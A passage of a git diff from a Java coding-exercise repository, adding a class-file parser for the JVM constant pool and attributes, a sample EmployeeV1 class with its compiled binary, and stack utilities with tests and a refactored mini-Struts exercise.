+            Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(11);
+            Assert.assertEquals("Code", utf8Info.getValue());
+        }
+
+        {
+            MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+            Assert.assertEquals(3, methodRef.getClassInfoIndex());
+            Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+        }
+
+        {
+            NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+            Assert.assertEquals(9, nameAndType.getIndex1());
+            Assert.assertEquals(14, nameAndType.getIndex2());
+        }
+        //抽查几个吧
+        {
+            MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+            Assert.assertEquals(1, methodRef.getClassInfoIndex());
+            Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+        }
+
+        {
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+            Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+        }
+    }
+    @Test
+    public void testClassIndex(){
+
+        ClassIndex clzIndex = clzFile.getClzIndex();
+        ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+        ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+
+
+        Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+        Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/EmployeeV1.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..10cf71d576
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/util/Util.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/util/Util.java
new file mode 100644
index 0000000000..2f1d3e929b
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/util/Util.java
@@ -0,0 +1,26 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/litestruts/Struts.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/litestruts/Struts.java
index 54e8468077..42584af1e3 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/litestruts/Struts.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/litestruts/Struts.java
@@ -1,5 +1,7 @@
 package com.github.miniyk2012.coding2017.coderising.litestruts;
 
+import java.net.URISyntaxException;
+import java.net.URL;
 import java.util.HashMap;
 import java.util.Iterator;
 import java.util.Map;
@@ -25,7 +27,7 @@ public class Struts {
 	private static View view;
 	private static final Logger logger = Logger.getLogger(Struts.class.getName());
 	
-    public static View runAction(String actionName, Map<String,String> parameters) throws DocumentException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException, IntrospectionException {
+    public static View runAction(String actionName, Map<String,String> parameters) throws Exception {
 
         /*
          
@@ -93,10 +95,9 @@ private static Map<String, String> getFields()
 		return map;
 	}
 
-	private static void readXml() throws DocumentException {
-    	String fileName = Thread.currentThread().getContextClassLoader().getResource("").getPath()
-    			+ "com/github/miniyk2012/coding2017/coderising/litestruts/struts.xml"; 
-    	File aFile = new File(fileName);
+	private static void readXml() throws DocumentException, URISyntaxException {
+        URL url = Struts.class.getClassLoader().getResource("struts/struts.xml");
+    	File aFile = new File(url.toURI());
     	SAXReader xmlReader = new SAXReader();
     	doc = xmlReader.read(aFile);
     }
@@ -161,13 +162,16 @@ private static void generateObject(String actionName)
 	}
     
     
-    public static void main(String args[]) throws DocumentException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException, IntrospectionException
+    public static void main(String args[]) throws Exception
     {
-    	Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","1234");
-    	View view = runAction("login", params);
-    	logger.info(view.toString());
+//    	Map<String,String> params = new HashMap<String,String>();
+//        params.put("name","test");
+//        params.put("password","1234");
+//    	View view = runAction("login", params);
+//    	logger.info(view.toString());
+        System.out.println(Struts.class.getResource(""));
+        System.out.println(Struts.class.getResource("/"));
+        System.out.println(Struts.class.getClassLoader().getResource(""));
     }
     
 }
diff --git a/group02/812350401/src/main/resources/jvm/com/github/miniyk2012/coding2017/jvm/test/EmployeeV1.class b/group02/812350401/src/main/resources/jvm/com/github/miniyk2012/coding2017/jvm/test/EmployeeV1.class
new file mode 100644
index 0000000000000000000000000000000000000000..c6c3c4a41546ae14b237a06a8f0868a61dc42cf5
GIT binary patch
literal 1056
zcmah|?M@Rx6g^W)Kb93rYikjZ1yTEftSIUa3<)tBNGh6Onh<{tWrEx6cAM^&q>rTu
zkZ9rq_)x|((;~rQ%x-4yow@hibI!Cse|`G_U=uIWNC>R7!oY2X$ExQ=UgyMZp9XHM
zqS$>Cbp3FkRC6PZq(H7MPo?Wimb^b|t5z(K?8ra~<QrE<2XT)eTLKgEghygeAoa@Y
zc=5JCsWM);S8WpKHOE_+z%3hDOtZOCZDzrlHYSnMQQk%x8G)IG*HQcZ;7Ij8$|K)Q
z4_nf2%ATk5(PlFK>_q~rjsJ@y*L0-feIuoK14Yd+#flv*C|NO#Gm#wZD&G&YSj18q
z_pbSKFo<Fm*l@5+En%Nl6^GKj(EUJzV%nr+u$94mfh7avtT~#q!?)$jC~_|CcPu=>
zqck206pYW;F>F*&ri8AB^*dx3NROXV<<q#^)n*23EZONC4=lR6uKl)j^u)%zc0MV4
zCp4~bLo;u)D_|Xj{a#DG^|bdhmn54T>zW&u2{pkVSAq|3&P2R7ekXatSzM=>9r9e)
z&D1Vn*Xm~s7S1sH#WWPS=8@!@<!W)A!Zd8$=8iLLLlGrr1TbTSiS(cZ2i!q<G-lfn
z0a9kf6}rX!VQ<c$mQ0@dgPIzl3e4f|7}oqXrbDbeI|~26(!6M%Hh6^f((t6duUN>h
zoMZKGYDKn`44lmtZNyM;7FE<nAn$07mNEMs;xJ#&EneVpqkaze3T)cARi<}y$Z@`Q
XaHw?_8+gi0|G}PdPxISkp1||pV??%j

literal 0
HcmV?d00001

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/litestruts/struts.xml b/group02/812350401/src/main/resources/struts/struts.xml
similarity index 100%
rename from group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/litestruts/struts.xml
rename to group02/812350401/src/main/resources/struts/struts.xml
diff --git a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/ListTest.java b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/ListTest.java
index 87a8cdddb3..102a002754 100644
--- a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/ListTest.java
+++ b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/ListTest.java
@@ -14,6 +14,7 @@ public class ListTest {
 	
 	@Test
 	public void testFunctional() {
+		if (getClass() == ListTest.class) return;
 		aList.add(1);
 		aList.add(2);
 		assertEquals(1, aList.get(0));
@@ -38,6 +39,7 @@ public void testFunctional() {
 	
 	@Test
 	public void testAdd() {
+		if (getClass() == ListTest.class) return;
 		for (int i=0; i<100; i++)
 			aList.add(i);
 		assertEquals(0, aList.get(0));
@@ -47,6 +49,7 @@ public void testAdd() {
 	
 	@Test
 	public void testRemove() {
+		if (getClass() == ListTest.class) return;
 		aList.add(1);
 		aList.add(2);
 		aList.add(3);
@@ -70,6 +73,7 @@ public void testRemove() {
 	
 	@Test
 	public void testSize() {
+		if (getClass() == ListTest.class) return;
 		for (int i=0; i<10; i++)
 			aList.add(i*2);
 		assertEquals(10, aList.size());
@@ -80,6 +84,7 @@ public void testSize() {
 	
 	@Test
 	public void testException() {
+		if (getClass() == ListTest.class) return;
 		expectedEx.expect(Exception.class);
 		
 		aList.remove(1);
@@ -89,6 +94,7 @@ public void testException() {
 	
 	@Test
 	public void testIterator() {
+		if (getClass() == ListTest.class) return;
 		Iterator it = aList.iterator();
 		assertEquals(false, it.hasNext());
 		
diff --git a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/StackTest.java b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/stack/StackTest.java
similarity index 86%
rename from group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/StackTest.java
rename to group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/stack/StackTest.java
index 9fdde63598..86f45b6f05 100644
--- a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/StackTest.java
+++ b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/stack/StackTest.java
@@ -1,12 +1,10 @@
-package com.github.miniyk2012.coding2017.basic;
+package com.github.miniyk2012.coding2017.basic.stack;
 
 import static org.junit.Assert.*;
 
 import org.junit.Before;
 import org.junit.Test;
 
-import com.github.miniyk2012.coding2017.basic.Stack;
-
 public class StackTest {
 
 	private Stack stack;
diff --git a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/stack/StackUtilTest.java b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/stack/StackUtilTest.java
new file mode 100644
index 0000000000..62f3b3f281
--- /dev/null
+++ b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/stack/StackUtilTest.java
@@ -0,0 +1,86 @@
+package com.github.miniyk2012.coding2017.basic.stack;
+
+import org.junit.Test; 
+import org.junit.Before; 
+import org.junit.After;
+import static junit.framework.TestCase.assertEquals;
+import static junit.framework.TestCase.assertNull;
+import static org.junit.Assert.assertArrayEquals;
+
+/** 
+* StackUtil Tester. 
+* 
+* @author <Authors name> 
+* @since <pre>Apr 6, 2017</pre> 
+* @version 1.0 
+*/
+public class StackUtilTest {
+
+    private StackUtil sk;
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testReverse() {
+        sk = new StackUtil();
+        Stack stack = new Stack();
+        stack.push(1);
+        stack.push(2);
+        stack.push(3);
+        sk.reverse(stack);
+        assertEquals(1, stack.pop());
+        assertEquals(2, stack.pop());
+        assertEquals(3, stack.pop());
+    }
+    @Test
+    public void testRemove() {
+        sk = new StackUtil();
+        Stack stack = new Stack();
+        stack.push(1);
+        stack.push(2);
+        stack.push(3);
+        stack.push(2);
+        stack.push(5);
+        sk.remove(stack, 2);
+        assertEquals(5, stack.pop());
+        assertEquals(3, stack.pop());
+        assertEquals(2, stack.pop());
+        assertEquals(1, stack.pop());
+    }
+    @Test
+    public void testGetTop() {
+        sk = new StackUtil();
+        Stack stack = new Stack();
+
+        Object[] array = sk.getTop(stack, 3);
+        assertArrayEquals(array, new Object[0]);
+
+        stack.push(1);
+        stack.push(2);
+        stack.push(3);
+        stack.push(2);
+        stack.push(5);
+        array = sk.getTop(stack, 3);
+        assertArrayEquals(array, new Object[] {5, 2, 3});
+        array = sk.getTop(stack, 6);
+        assertArrayEquals(new Object[] {5, 2, 3, 2, 1}, array);
+        array = sk.getTop(stack, -1);
+        assertNull(array);
+    }
+    @Test
+    public void testIsValidPairs() {
+        sk = new StackUtil();
+        String expr = "";
+        assertEquals(true, sk.isValidPairs(expr));
+        expr = "{xx[])yyza]}";
+        assertEquals(false, sk.isValidPairs(expr));
+        expr = "asd{[(asds)]sx}";
+        assertEquals(true, sk.isValidPairs(expr));
+    }
+
+}
diff --git a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/download/FileDownloaderTest.java b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/download/FileDownloaderTest.java
index 501326dae0..0b5276fda5 100644
--- a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/download/FileDownloaderTest.java
+++ b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/download/FileDownloaderTest.java
@@ -3,9 +3,7 @@
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
-
 import com.github.miniyk2012.coding2017.coderising.download.api.ConnectionManager;
-import com.github.miniyk2012.coding2017.coderising.download.api.DownloadListener;
 import com.github.miniyk2012.coding2017.coderising.download.impl.ConnectionManagerImpl;
 
 public class FileDownloaderTest {
@@ -24,17 +22,12 @@ public void testDownload() {
 		
 		String url = "http://inews.gtimg.com/newsapp_bt/0/1209438116/1000";
 //		String url = "https://www.baidu.com/img/bd_logo.png";
-
-		FileDownloader downloader = new FileDownloader(url, "test.png");
+		String filePath = "src/main/resources/downloads/test.png";
+        FileDownloader downloader = new FileDownloader(url, filePath);
 	
 		ConnectionManager cm = new ConnectionManagerImpl();
 		downloader.setConnectionManager(cm);
-		downloader.setListener(new DownloadListener() {
-			@Override
-			public void notifyFinished() {
-				downloadFinished = true;
-			}
-		});
+		downloader.setListener(() -> downloadFinished = true);
 		
 		downloader.execute();
 		
diff --git a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParserTest.java b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParserTest.java
new file mode 100644
index 0000000000..6aa66225b7
--- /dev/null
+++ b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParserTest.java
@@ -0,0 +1,53 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.loader;
+
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.UTF8Info;
+import com.github.miniyk2012.coding2017.coderising.jvm.test.ClassFileloaderTest;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
+
+/**
+ * Created by thomas_young on 9/4/2017.
+ */
+public class ClassFileParserTest {
+    private static ClassFileParser parser;
+    private static byte[] byteCodes;
+
+    @BeforeClass
+    public static void setUp() {
+        String path = ClassFileloaderTest.class.getClassLoader().getResource("jvm").getPath();
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path);
+        String className = "com.github.miniyk2012.coding2017.jvm.test.EmployeeV1";
+        byteCodes = loader.readBinaryCode(className);
+        parser = new ClassFileParser();
+    }
+
+    @Test
+    public void parse() throws Exception {
+
+    }
+
+    @Test
+    public void parseAccessFlag() throws Exception {
+
+    }
+
+    @Test
+    public void parseClassInfex() throws Exception {
+
+    }
+
+    @Test
+    public void parseConstantPool() throws Exception {
+        ByteCodeIterator byteCodeIterator = new ByteCodeIterator(byteCodes);
+        byteCodeIterator.skip(8);  // skip magic,minor_version,major_version
+        ConstantPool constantPool = parser.parseConstantPool(byteCodeIterator);
+        UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(5);
+        assertEquals("name", utf8Info.getValue());
+    }
+
+}
\ No newline at end of file
diff --git a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/litestruts/StrutsTest.java b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/litestruts/StrutsTest.java
index 15e569a766..f183d9a778 100644
--- a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/litestruts/StrutsTest.java
+++ b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/litestruts/StrutsTest.java
@@ -13,7 +13,7 @@
 public class StrutsTest {
 
 	@Test
-	public void testLoginActionSuccess() throws DocumentException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException, IntrospectionException {
+	public void testLoginActionSuccess() throws Exception {
 		
 		String actionName = "login";
         
@@ -29,7 +29,7 @@ public void testLoginActionSuccess() throws DocumentException, InstantiationExce
 	}
 
 	@Test
-	public void testLoginActionFailed() throws DocumentException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException, IntrospectionException {
+	public void testLoginActionFailed() throws Exception {
 		String actionName = "login";
 		Map<String,String> params = new HashMap<String,String>();
         params.put("name","test");
@@ -42,7 +42,7 @@ public void testLoginActionFailed() throws DocumentException, InstantiationExcep
 	}
 	
 	@Test
-	public void testLogoutActionSuccess() throws DocumentException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException, IntrospectionException {
+	public void testLogoutActionSuccess() throws Exception {
 		
 		String actionName = "logout";
         
@@ -58,7 +58,7 @@ public void testLogoutActionSuccess() throws DocumentException, InstantiationExc
 	}
 	
 	@Test
-	public void testLogoutActionFailed() throws DocumentException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException, IntrospectionException {
+	public void testLogoutActionFailed() throws Exception {
 		String actionName = "logout";
 		Map<String,String> params = new HashMap<String,String>();
         params.put("name","test");
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/AttributeInfo.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..a1369ab554
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,76 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.exception.AddAnotherParserException;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public abstract class AttributeInfo {
+	
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	
+	int attrNameIndex;				
+	int attrLen ;
+	
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	/**
+	 * 解析属性
+	 * @param pool
+	 * @param iter
+	 * @return
+	 */
+	public static List<AttributeInfo>  parseAttributes(ConstantPool pool,ByteCodeIterator iter){
+		
+		List<AttributeInfo> attributeInfos = new ArrayList<AttributeInfo>();
+		try {
+			
+			int attrCount = iter.nextU2ToInt();		
+			for (int i = 0; i < attrCount; i++) {
+				
+				AttributeInfo attr = null;
+				String attrName = pool.getUTF8String(iter.nextU2ToInt());
+				iter.back(ByteCodeIterator.numberTwo);
+				
+				switch (attrName) {
+				case AttributeInfo.CONST_VALUE:				
+					attr = ConstantValueAttr.parse(iter);
+					break;
+				case AttributeInfo.CODE:				
+					attr = CodeAttr.parse(pool,iter);
+					break;
+				case AttributeInfo.EXCEPTIONS:				
+					//TODE
+					break;
+				case AttributeInfo.LINE_NUM_TABLE:				
+					attr = LineNumberTable.parse(iter);
+					break;
+				case AttributeInfo.LOCAL_VAR_TABLE:				
+					attr = LocalVariableTable.parse(iter);
+					break;
+				case AttributeInfo.STACK_MAP_TABLE:				
+					attr = StackMapTable.parse(iter);
+					break;
+				default:
+					throw new AddAnotherParserException();
+				}
+				attributeInfos.add(attr);
+			
+			}
+		} catch (AddAnotherParserException e) {
+			e.printStackTrace();
+		}
+		return attributeInfos;
+	} 
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/CodeAttr.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..64e6226561
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,103 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.CommandParser;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class CodeAttr extends AttributeInfo {
+		
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	private ByteCodeCommand[] cmds ;	
+	private List<AttributeInfo> attributeInfos = new ArrayList<>();
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		this.cmds = cmds;
+	}
+	
+		
+	public static CodeAttr parse(ConstantPool pool,ByteCodeIterator iter){
+		
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLen = iter.nextU4ToInt();
+		int maxStack = iter.nextU2ToInt();
+		int maxLocals = iter.nextU2ToInt();
+		int codeLen = iter.nextU4ToInt();		
+		String code = iter.nextUxToHexString(codeLen);
+		ByteCodeCommand[] cmds = CommandParser.parse(pool.getClzFile(),code);
+		CodeAttr codeAttr = new CodeAttr(attrNameIndex,attrLen,maxStack,maxLocals,codeLen,code,cmds);
+		
+		//解析exception_table start TODO
+		@SuppressWarnings("unused")
+		int exceptionTabLen = iter.nextU2ToInt();
+		//System.out.println("exception_table 的个数为"+exceptionTabLen);
+		//解析exception_table end  TODO
+		
+		codeAttr.setAttributeInfos(AttributeInfo.parseAttributes(pool, iter));
+		
+		return codeAttr;
+	}
+
+	public ByteCodeCommand[] getCmds() {		
+		return cmds;
+	}
+
+	public int getMaxStack() {
+		return maxStack;
+	}
+
+
+	public void setMaxStack(int maxStack) {
+		this.maxStack = maxStack;
+	}
+
+
+	public int getMaxLocals() {
+		return maxLocals;
+	}
+
+
+	public void setMaxLocals(int maxLocals) {
+		this.maxLocals = maxLocals;
+	}
+
+
+	public int getCodeLen() {
+		return codeLen;
+	}
+
+
+	public void setCodeLen(int codeLen) {
+		this.codeLen = codeLen;
+	}
+
+
+	public String getCode() {
+		return code;
+	}
+
+
+	public void setCode(String code) {
+		this.code = code;
+	}
+	
+	public List<AttributeInfo> getAttributeInfos() {
+		return attributeInfos;
+	}
+
+
+	public void setAttributeInfos(List<AttributeInfo> attributeInfos) {
+		this.attributeInfos = attributeInfos;
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/ConstantValueAttr.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/ConstantValueAttr.java
new file mode 100644
index 0000000000..697b484657
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/ConstantValueAttr.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class ConstantValueAttr extends AttributeInfo{
+
+	private int constantValueIndex;
+		
+	public int getConstantValueIndex() {
+		return constantValueIndex;
+	}
+
+	public void setConstantValueIndex(int constantValueIndex) {
+		this.constantValueIndex = constantValueIndex;
+	}
+
+	public ConstantValueAttr(int attrNameIndex, int attrLen,int constantValueIndex) {
+		super(attrNameIndex, attrLen);
+		this.constantValueIndex = constantValueIndex;
+	}
+
+	public static ConstantValueAttr parse(ByteCodeIterator iter){
+		
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLen = iter.nextU4ToInt();
+		int constantValueIndex = iter.nextU2ToInt();
+		return new ConstantValueAttr(attrNameIndex,attrLen,constantValueIndex);
+	}
+	
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/LineNumberTable.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..6029bf4253
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,60 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+@SuppressWarnings("unused")
+public class LineNumberTable extends AttributeInfo {
+	
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;		
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		
+		int nameIndex = iter.nextU2ToInt();
+		int attrLen = iter.nextU4ToInt();		
+		LineNumberTable lineNumberTable = new LineNumberTable(nameIndex,attrLen);
+		
+		int tableLen = iter.nextU2ToInt();
+		
+		for (int i = 0; i < tableLen; i++) {
+			
+			int startPC = iter.nextU2ToInt();
+			int lineNum = iter.nextU2ToInt();
+			
+			LineNumberItem item = new LineNumberItem();
+			item.setLineNum(startPC);
+			item.setLineNum(lineNum);	
+			
+			lineNumberTable.addLineNumberItem(item);
+		}
+		
+		return lineNumberTable;
+	}
+
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/LocalVariableItem.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..c7209a435e
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,40 @@
+package com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/LocalVariableTable.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..463b110458
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,47 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		
+		int nameIndex = iter.nextU2ToInt();
+		int attrLen = iter.nextU4ToInt();
+		LocalVariableTable localVariableTable = new LocalVariableTable(nameIndex,attrLen);
+		
+		int tableLen = iter.nextU2ToInt();
+		
+		for (int i = 0; i < tableLen; i++) {
+			
+			int startPC = iter.nextU2ToInt();
+			int len = iter.nextU2ToInt();
+			int nameindex = iter.nextU2ToInt();
+			int descrIndex = iter.nextU2ToInt();
+			int index = iter.nextU2ToInt();
+			
+			LocalVariableItem item = new LocalVariableItem();
+			item.setStartPC(startPC);
+			item.setNameIndex(nameindex);
+			item.setLength(len);
+			item.setDescIndex(descrIndex);
+			item.setIndex(index);
+			localVariableTable.addLocalVariableItem(item);
+		}
+		return localVariableTable;
+	}
+			
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/StackMapTable.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..033b6bb179
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,36 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
